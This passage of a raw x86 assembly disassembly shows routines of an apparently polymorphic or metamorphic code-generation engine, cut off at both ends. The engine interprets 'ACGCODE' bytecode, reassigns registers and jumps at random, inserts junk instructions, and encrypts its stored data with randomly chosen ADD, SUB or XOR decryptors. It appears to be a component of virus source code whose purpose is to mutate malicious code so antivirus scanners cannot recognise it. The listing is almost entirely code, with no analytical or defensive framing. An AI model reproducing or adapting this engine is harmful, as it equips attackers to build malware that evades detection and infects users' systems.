jz loc_0_2405 mov eax, 1050000h ; DI loc_0_2405: mov Operand_Ampersand, eax retn ACGCODE_Offset endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Operation proc near mov cl, al and cl, 3 inc cl ; CL = 1..4 = OperandSize shr al, 3 cmp al, 1 ; AL=1 --> reg,reg jnz loc_0_243E call _Get_ACGCODE_Byte ; get argument mov si, ax ; ESI=target call _Get_ACGCODE_Byte ; get argument mov di, ax ; EDI=source call _getRND_in_DX and dx, 1 jz loc_0_2437 ; select to/from register mov bl, 2 ; (BL=2 --> first read argument will be target = ESI) loc_0_242F: call ESI_WPindex_to_ESI_register_EDI_WPindex call Touch_EDI2 jmp short loc_0_2469 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2437: mov bl, 0 xchg edi, esi ; exchange order jmp short loc_0_242F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_243E: ; AL=3 --> mem,imm cmp al, 3 jz loc_0_2446 cmp al, 2 ; AL=2 --> mem,imm jnz loc_0_2454 loc_0_2446: mov bl, 4 call _get_offset_Variable ; (store it in EDI) call get_Immediate_Value mov esi, eax ; ESI = Immediate Value ; EDI = Variable Offset jmp short loc_0_2469 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2454: ; AL=4 --> reg,mem cmp al, 4 mov bl, 2 jz loc_0_245C mov bl, 0 ; AL=5 --> mem,reg loc_0_245C: call _Get_ACGCODE_Byte mov si, ax ; ESI = index in WP call ESI_WPindex_to_ESI_register_EDI_WPindex call _get_offset_Variable ; EDI = Variable offset loc_0_2469: ; get operation call _Get_ACGCODE_Byte mov bh, al call _Check_for_SAVEFLAGS ; check prefix call Do_CALL3 call _Check_Segment_Prefix ; store prefix if needed call _Do_Instruction5 call Check_CALL retn ACGCODE_Operation endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Inc proc near call _get_offset_Variable and al, 3 mov cl, al inc cl ; CL=1,2,4 call _Check_for_SAVEFLAGS call _Check_Segment_Prefix call Do_INC2 retn ACGCODE_Inc endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Dec proc near call _get_offset_Variable and al, 3 mov cl, al inc cl call _Check_for_SAVEFLAGS call _Check_Segment_Prefix call Do_DEC2 retn ACGCODE_Dec endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Rotate proc near and al, 3 mov cl, al inc cl call _Get_ACGCODE_Byte mov bl, al call _get_offset_Variable mov bh, 4 call _getRND_in_DX jns loc_0_24C8 mov bh, 0 loc_0_24C8: call _Check_for_SAVEFLAGS call _Generate_4times_Garbage call _Check_Segment_Prefix call Do_SHIFT2 retn ACGCODE_Rotate endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Shift proc near and al, 3 mov cl, al inc cl call _Get_ACGCODE_Byte mov bl, al call _get_offset_Variable mov bh, 5 call _Check_for_SAVEFLAGS call _Generate_4times_Garbage call _Check_Segment_Prefix call Do_SHIFT2 retn ACGCODE_Shift endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Pop proc near call _get_offset_Variable and al, 3 mov cl, al inc cl call _Check_for_SAVEFLAGS call _Generate_4times_Garbage call _Check_Segment_Prefix call Do_POP retn ACGCODE_Pop endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Push proc near call _get_offset_Variable and al, 3 mov cl, al inc cl call _Check_for_SAVEFLAGS call _Generate_4times_Garbage call _Check_Segment_Prefix call Do_PUSH retn ACGCODE_Push endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_MOV_seg_mem proc near call _Generate_4times_Garbage call _get_offset_Variable and al, 0Fh call Select_Segment_from_Table mov ah, 0 mov si, ax call _Check_for_SAVEFLAGS call _Generate_4times_Garbage call _Check_Segment_Prefix call Do_MOV_seg_mem call _Generate_4times_Garbage retn ACGCODE_MOV_seg_mem endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_MOV_mem_seg proc near call _Generate_4times_Garbage call _get_offset_Variable and al, 0Fh call Select_Segment_from_Table mov ah, 0 mov si, ax call _Check_for_SAVEFLAGS call _Generate_4times_Garbage call _Check_Segment_Prefix call Do_MOV_mem_seg call _Generate_4times_Garbage retn ACGCODE_MOV_mem_seg endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Adjust_Registers proc near push dx push edi movzx ebx, bx xor edi, edi cmp word ptr gs:[bx+2], 0 ; used? jz loc_0_25BB loc_0_2589: cmp word ptr gs:[edi+edi+7Eh], 0 jz loc_0_25B4 mov dx, gs:[ebx+edi*2+4] cmp dx, gs:[edi+edi] jz loc_0_25B4 cmp dh, 0FFh jnz loc_0_25B0 mov ch, dl mov cl, gs:[edi+edi+7Eh] call _Discard_Used_Register3 loc_0_25B0: call _convert_WorkPlace_Reg loc_0_25B4: inc di cmp di, gs:[bx+2] jb loc_0_2589 loc_0_25BB: pop edi pop dx retn Adjust_Registers endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Declare_IP proc near call _get_ACGCODE_Word movzx ebx, ax ; EBX = index to WorkPlace call _Get_ACGCODE_Byte movzx dx, al mov ax, Instruction_Offset add ax, D_CODEBASE ; convert into IP mov gs:[bx], ax ; AX = IP of actual location mov gs:[bx+2], dx or dx, dx jz locret_0_25F3 xor esi, esi ; WARNING! allocated variables before jump should be the same than just before the jump instruction ; (so that local varables are allocated at same place, and will be rearranged properly, if needed) loc_0_25E3: ; save state of variables, so when jumpping to this IP, every variable is at the same place mov ax, gs:[esi+esi] mov gs:[ebx+esi*2+4], ax ; (or else, before jumpping, it will be rearranged properly) inc si cmp si, dx jb loc_0_25E3 locret_0_25F3: retn ACGCODE_Declare_IP endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Declare_Target_Jump proc near push Instruction_Offset mov cx, 4 call _Allocate_Code_Space ; Find space for 4 bytes mov Instruction_Offset, dx call ACGCODE_Declare_IP pop Instruction_Offset retn ACGCODE_Declare_Target_Jump endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Adjust_and_Jump proc near call _get_ACGCODE_Word mov bx, ax call Adjust_Registers mov dx, gs:[bx] sub dx, D_CODEBASE push dx call _getRND_in_DX cmp dh, 40h pop dx jnb loc_0_262A xchg dx, Instruction_Offset loc_0_262A: call Create_Jump_to_Next_Instruction retn ACGCODE_Adjust_and_Jump endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Jump proc near mov bh, al and bh, 1Fh push bx call _get_ACGCODE_Word mov bx, ax ; BX = index to WorkPlace call Adjust_Registers mov dx, gs:[bx] ; DX = offset of target jump pop bx ; BX = type of jump call Create_Jump retn ACGCODE_Jump endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Declare_Global_Variable proc near call _get_ACGCODE_Word mov bx, ax ; BX = index to WorkPlace call _get_ACGCODE_Word mov cx, ax ; CX = size of this variable call _Allocate_Code_Space add dx, D_CODEBASE mov gs:[bx], dx ; DX = IP of allocated space for variable and word ptr gs:[bx+2], 0 retn ACGCODE_Declare_Global_Variable endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Load_Variables proc near pushad more_Variables: call _Get_ACGCODE_Byte cmp al, 0FFh jz loc_0_26BC ; EndOfVariables mov cl, gs:[si] mov ch, 0 shl cx, 4 ; CH=register shr cl, 4 ; CL=size cmp al, 0F0h jb loc_0_269B ; input is variable, not inmediate call _Discard_Used_Register3 ; free this register, if is already used call get_Immediate_Value push si mov esi, eax mov al, 1 call _setRegUsed movzx edi, ch mov bh, 0FFh ; (MOV operation) mov bl, 4 ; (inmediate) call _Do_Instruction5 pop si jmp short loc_0_26B9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_269B: mov di, ax push cx call _get_WPregister_BX_CL ; BX=input variable (before) pop dx mov dh, 0FFh ; DX=input variable after mov dl, ch cmp dx, bx jz loc_0_26B3 ; same, so no reassignation required call _Discard_Used_Register2 call _convert_WorkPlace_Reg ; (EDI=WPindex of source ; DX=target) loc_0_26B3: mov al, 3 call _setRegUsed loc_0_26B9: inc si jmp short more_Variables ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_26BC: popad nop retn Load_Variables endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Proc proc near call _get_ACGCODE_Word mov bx, ax ; BX = index to WorkPlace mov Procedure_WPindex, bx call _Get_ACGCODE_Byte ; get byte (CL) = number of input variables mov cl, al call _Get_ACGCODE_Byte ; get byte (CH) = number of output variables mov ch, al push cx mov cx, 4 call _Allocate_Code_Space mov Instruction_Offset, dx ; set offset of next instruction add dx, D_CODEBASE ; convert into IP mov gs:[bx], dx ; DX = IP of actual location pop cx mov gs:[bx+2], cx ; info about use of regs push cx mov dl, 0 get_INPUT_Variables: ; get byte call _Get_ACGCODE_Byte sub al, 4 cmp al, 4 jnb loc_0_2713 push dx push bx call ACGCODE_Declare_Local_Variable pop bx pop dx call sub_0_12EC shl ch, 4 or cl, ch mov gs:[bx+6], cl inc bx inc dl jmp short get_INPUT_Variables ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2713: pop cx call Reset_Used_Regs enter 20h, 1 mov di, bp sub di, 20h push es push ds pop es assume es:seg000 mov si, offset Used_AX push di push cx mov cx, 10h cld repe movsw ; make copy of reg info (use and size) mov di, offset Used_AX mov cx, 10h xor ax, ax repe stosw ; free all regs (Used_X, Size_X) push Instruction_Offset mov dl, 0 get_OUTPUT_Variables: call _Get_ACGCODE_Byte sub al, 4 cmp al, 4 jnb loc_0_2763 mov cl, al inc cl ; CL = size of this operand call Choose_Register_Smart ; find a register for use (and possibly discard others to memory/registers) mov al, 1 call _setRegUsed shl ch, 4 or cl, ch mov gs:[bx+6], cl ; save info about this output variable in WP inc bx inc dl jmp short get_OUTPUT_Variables ; get next output variable ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2763: pop cx pop cx mov di, offset Used_AX mov cx, 10h pop si repe movsw ; restore reg info (use and size) mov di, offset Free_AX mov cx, 8 xor ax, ax repe stosw ; restore state of registers pop es assume es:nothing leave retn ACGCODE_Proc endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_EndProc proc near mov si, Procedure_WPindex xor dx, dx xor bx, bx loc_0_2783: shl dx, 1 cmp byte ptr Free_AX[bx], 0 jz loc_0_278F or dl, 1 ; changed register loc_0_278F: mov byte ptr Free_AX[bx], 1 inc bx cmp bx, 10h jb loc_0_2783 mov gs:[si+4], dx ; changed registers and Procedure_WPindex, 0 retn ACGCODE_EndProc endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Save_Changeable_Registers proc near push bx push cx push dx mov Dont_Use_Exchange_For_MOV_operation, 1 ; (so that we play with the correct registers) call Reset_Used_Regs xor bx, bx mov cl, 1 ; 8-bit registers loc_0_27B3: call RegIndex_to_CH or dx, dx ; (the most significant bit refers to AL) jns loc_0_27C3 ; this register will not be changed (inside the Proc) call _Discard_Used_Register2 ; save this register to a safe place mov byte ptr Free_AX[bx], 1 ; its free from now on loc_0_27C3: shl dx, 1 inc bx cmp bx, 8 jb loc_0_27B3 ; next 8-bit register mov cl, 2 ; 16-bit registers loc_0_27CD: call RegIndex_to_CH test dh, 0C0h jz loc_0_27DF ; register will not be changed call _Discard_Used_Register2 mov Free_AX[bx], 101h loc_0_27DF: shl dx, 2 add bx, 2 cmp bx, 10h jb loc_0_27CD ; next 16-bit register mov Dont_Use_Exchange_For_MOV_operation, 0 pop dx pop cx pop bx retn Save_Changeable_Registers endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Return_Variable proc near mov si, Procedure_WPindex mov bl, gs:[si+2] ; BL=number of input registers mov bh, 0 add si, 6 add si, bx ; ESI=start of output registers (skipping input registers) call Load_Variables call Do_Procedure_Return call Reset_Used_Regs retn ACGCODE_Return_Variable endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Prepare_Before_Call proc near push dx add si, 6 call Load_Variables ; load input variables of the Proc sub si, 6 mov dx, gs:[si+4] ; changed registers mov SaveFlags, 0FFh call Save_Changeable_Registers ; save registers that will be changed by the Proc pop dx retn Prepare_Before_Call endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Prepare_After_Call proc near pusha mov SaveFlags, 0FFh push edi mov di, si mov bl, gs:[si+2] mov bh, 0 add di, bx add di, 6 ; EDI = start of output registers mov bl, gs:[si+3] ; BL=number of output registers loc_0_283D: or bl, bl jz loc_0_2880 ; finished push bx push di call _Get_ACGCODE_Byte ; get index in WP mov cl, gs:[di] mov ch, 0 shl cx, 4 ; CH=register=where Proc has returned variable shr cl, 4 ; CL=size mov ah, cl ; mov di, ax ; EDI=index in WP, that specifies where variable should be returned call _get_WPregister_BX_CL cmp bh, 0FFh jnz loc_0_2863 ; variable returned in memory cmp bl, ch jz loc_0_2879 ; register is returned in the correct register loc_0_2863: call _IsRegUsed and al, 2 call _setRegUsed call _Discard_Used_Register2 mov dh, 0FFh mov dl, ch call _convert_WorkPlace_Reg2 ; (EDI=WPindex of source ; DX=target) loc_0_2879: pop di pop bx inc di dec bl jmp short loc_0_283D ; previous output variable ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2880: ; AL=FF (EndOfVariables) (same as Input variables) call _Get_ACGCODE_Byte call Reset_Used_Regs mov SaveFlags, 0 pop edi popa retn Prepare_After_Call endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Call_Proc proc near call _get_ACGCODE_Word mov si, ax ; SI = index in WP of the Proc call Prepare_Before_Call mov dx, gs:[si] ; target IP call Do_CALL call Prepare_After_Call retn ACGCODE_Call_Proc endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_ASM proc near and word ptr gs:0FDh, 0 ; special for "asm-enda" call _Get_ACGCODE_Byte mov cl, al neg cl call _get_ACGCODE_Word xchg al, ah mov gs:0FFh, ax call _get_ACGCODE_Word mov gs:101h, ax mov bx, 103h or cl, cl jz loc_0_28D6 loc_0_28CA: call _Get_ACGCODE_Byte mov gs:[bx], al inc bx dec cl jnz loc_0_28CA loc_0_28D6: mov si, 0FDh call Prepare_Before_Call call _get_ACGCODE_Word mov cx, ax jcxz loc_0_28F2 loc_0_28E4: call _Get_ACGCODE_Byte call _Store_Instruction_Byte loop loc_0_28E4 call _Copy_Instruction loc_0_28F2: call Prepare_After_Call call _getRND_in_DX jns locret_0_2909 mov cl, 4 and dl, 7 mov ch, dl call Avoid_SP_Reg call _Discard_Used_Register3 locret_0_2909: retn ACGCODE_ASM endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_GETSD proc near call _Get_ACGCODE_Byte mov di, ax call _get_WPregister_BX_CL ; get register from workplace call Check_BX_SI_DI ; force to use BX, SI or DI mov al, 3 call _setRegUsed mov edi, 1070000h cmp ch, 3 jz loc_0_2939 mov edi, 1040000h cmp ch, 6 jz loc_0_2939 mov edi, 1050000h loc_0_2939: mov ebp, edi call _Get_ACGCODE_Byte mov di, ax call _get_WPregister_BX_CL call Choose_Register_Smart xor ch, 4 call Discard_Used_Register mov al, 1 mov cl, 2 and ch, 3 call _setRegUsed mov cl, 1 mov dl, ch mov dh, 0FFh cmp byte_0_350, 1 jnz loc_0_296A or dl, 4 loc_0_296A: mov ch, dl mov al, 0 call _setRegUsed call _convert_WorkPlace_Reg2 movzx esi, ch and si, 3 mov edi, ebp call sub_0_F90 call Reset_Used_Regs retn ACGCODE_GETSD endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ get_Space_for_StaticData proc near push cx push edx mov cx, 8 call _Allocate_Code_Space add dx, D_CODEBASE shl edx, 10h call _getRND_in_DX ror edx, 10h ; choose random relative segment mov StaticData_ACGCODES_Pointer, edx pop edx pop cx retn get_Space_for_StaticData endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Encrypt_ACGCODE_Byte proc near push eax push ecx push edx push esi mov esi, StaticData_ACGCODES_Pointer call Encrypt_Byte sub si, D_CODEBASE mov ecx, es:[si] mov edx, InitialDecryptState and eax, edx not edx and ecx, edx or ecx, eax mov es:[si], ecx ; store it pop esi pop edx pop ecx pop eax retn Encrypt_ACGCODE_Byte endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Encrypt_Store_ACGCODE_Byte proc near pushad mov ah, 0 mov dx, word ptr StaticData_ACGCODES_Pointer sub dx, D_CODEBASE add dx, 8 mov cx, 1 push ax call _Enough_Code_Space ; be sure there is space for this byte cmp al, 0 pop ax jnz loc_0_2A19 ; break it here cmp al, DecryptOffset ; if its an specific byte do it differently jz loc_0_2A19 ; break it here call Mark_Space_Used call Encrypt_ACGCODE_Byte mov edx, StaticData_ACGCODES_Pointer add edx, StaticData_ACGCODES_Pointer_Increment ; add 1 mov StaticData_ACGCODES_Pointer, edx jmp short loc_0_2A8D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2A19: push ax mov al, DecryptOffset call Encrypt_ACGCODE_Byte mov cx, 8 ; (smallest pieces is 8 bytes) call _Allocate_Code_Space ; find free bytes add dx, D_CODEBASE mov di, dx call _getRND_in_DX shl edi, 10h mov di, dx ror edi, 10h mov edx, StaticData_ACGCODES_Pointer mov si, dx sub si, D_CODEBASE add edx, StaticData_ACGCODES_Pointer_Increment add dx, 3 xor eax, eax pop ax mov ebx, 0FFFFFF00h mov cl, byte_0_353 shl eax, cl rol ebx, cl and edi, ebx or edi, eax mov ebp, edi mov al, DecryptOperation ; AL = 0 , 5 , 6 cmp al, 0 ; (decryption will be ADD) jz loc_0_2A7B cmp al, 5 ; (decryption will be SUB) jz loc_0_2A80 xor edi, edx ; XOR jmp short loc_0_2A83 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2A7B: ; SUB sub edi, edx jmp short loc_0_2A83 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2A80: ; ADD add edi, edx loc_0_2A83: mov es:[si+4], edi mov StaticData_ACGCODES_Pointer, ebp loc_0_2A8D: popad nop retn Encrypt_Store_ACGCODE_Byte endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_STARTSD proc near call _get_ACGCODE_Word mov bx, ax ; BX = index in WP call _Get_ACGCODE_Byte mov di, ax ; DI = index in WP call Touch_EDI2 mov esi, StaticData_ACGCODES_Start cmp bx, 0FFFFh jz loc_0_2AAE ; jump if static data requested is the beginning of ACGCODES mov esi, gs:[bx] ; get start of static data loc_0_2AAE: mov cl, 4 mov bl, 4 mov bh, 0FFh call _Do_Instruction5 ; MOV reg/mem, offset_StaticData retn ACGCODE_STARTSD endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_STATICDATA proc near call _get_ACGCODE_Word mov bx, ax ; BX=index in WP call _get_ACGCODE_Word mov cx, ax ; CX=number of bytes push word ptr D_SEL_DWORD test byte ptr D_SEL_DWORD, 1 jz loc_0_2AD3 call get_Space_for_StaticData loc_0_2AD3: ; clear bit 0 so that these bytes will be stored (and encrypted) and byte ptr D_SEL_DWORD, 0FEh mov esi, StaticData_ACGCODES_Pointer ; start of static data (which are also ACGCODE bytes that are stored and encrypted) mov gs:[bx], esi ; save start of this static data loc_0_2AE1: call _Get_ACGCODE_Byte loop loc_0_2AE1 ; store ACGCODE (which happen to be the static data) pop word ptr D_SEL_DWORD retn ACGCODE_STATICDATA endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_SAVEFLAGS proc near mov SaveFlags, 1 ; preserve cpu flags pop si push offset Next_ACGCODE2 ; jump to Next_ACG_CODE label but do not clear SaveFlags retn ACGCODE_SAVEFLAGS endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_FREEREGS proc near mov cl, 4 xor edi, edi mov dx, 0FF00h loc_0_2AFE: call Save_Reg_in_WorkPlace inc di inc dx cmp dl, 4 jnz loc_0_2B09 inc dx loc_0_2B09: cmp dl, 8 jb loc_0_2AFE retn ACGCODE_FREEREGS endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_ALLOCREGS proc near mov cl, 4 xor edi, edi mov dx, 0FF00h loc_0_2B17: call _get_WPregister_BX_CL cmp dx, bx jz loc_0_2B29 mov ch, dl call _Discard_Used_Register2 call _convert_WorkPlace_Reg loc_0_2B29: inc di inc dx cmp dl, 4 jnz loc_0_2B31 inc dx loc_0_2B31: cmp dl, 8 jb loc_0_2B17 retn ACGCODE_ALLOCREGS endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E 